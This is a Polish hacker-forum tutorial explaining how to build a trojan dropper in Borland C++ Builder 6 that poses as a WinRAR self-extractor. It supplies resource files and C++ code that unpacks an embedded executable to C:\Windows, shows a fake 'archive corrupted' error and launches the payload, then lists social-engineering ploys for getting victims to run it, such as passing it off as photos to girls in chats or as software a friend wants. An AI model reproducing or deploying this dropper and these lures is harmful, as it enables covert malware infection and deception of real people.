Jak przemycić server[BCB6]


Elo.Jest wiele sposobów na podrzucenie komuś trojana.
Nie odkryłem Ameryki pisząc ten art,ale uważam,że
ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.

Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
nazwa obydwóch musi być identyczna.W przykładzie przyjąłem,że
te pliki to app.rh i app.rc

Zawartość pliku *.RC
-----------------------------------

Kod:

#include "app.rh"

 <--nazwa pliku *.RH


Kod:

ID_APPL RCDATA "C:\\plik.exe"  

<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------

Kod:

#ifndef APP_RH

 <--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define APP_RH

 <--Gdzie APP to nazwa tworzonych właśnie plików


Kod:

#define ID_APPL 1000

<--Gdzie ID_APPL to identyfikator zasobu.Liczba pozostaje bez zmian

Kod:

#endif


-----------------------------------

Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:

Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone

W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC

W pliku źródłowym Unit1.cpp

Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------

Kod:

#include <memory>



Kod:

#include "app.rh"  

<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------

Kod:

void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
 Application->MessageBox("Archiwum uszkodzone",
                         "WinRar Self Extractor", MB_OK | MB_ICONSTOP);
 return;
}

DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

if(MemoryHandle == NULL) return;

BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;

TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}


-------------------------------------------------

Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------

Kod:

Extractor(ID_APPL, "C:\\Windows\\plik.exe");

 <-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe

Kod:

Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
                           MB_OK | MB_ICONHAND );

<-- Fałszywy komunikat o uszkodzeniu archiwum

Kod:

WinExec("C:\\Windows\\plik.exe", SW_SHOW);

<--Urachamia wypakowany plik

Kod:

Close();  

<--Wiadomo chyba....
-------------------------------------------------

Aha byłbym zapomniał
Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.


Ok.Doszliśmy do końca projektu(prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done(znowu prawie).

Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:

1.Głupim lolitkom na czatach mówiąc,że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz,że dodawanie stu załączników jest
troche uciążliwe i czasochłonne a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.

2.Czekasz aż ziomek z sieci zapyta Cię o jakiś ważny dla niego
program wtedy zmieniasz nazwę pliku na program którego szuka qmpel i dajesz mu to czego szukał ;)

3.Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobie na co jest popyt i czekasz.

Kw4cHu

PoZdRo 4 All HaXiTe.OrG UsErS ...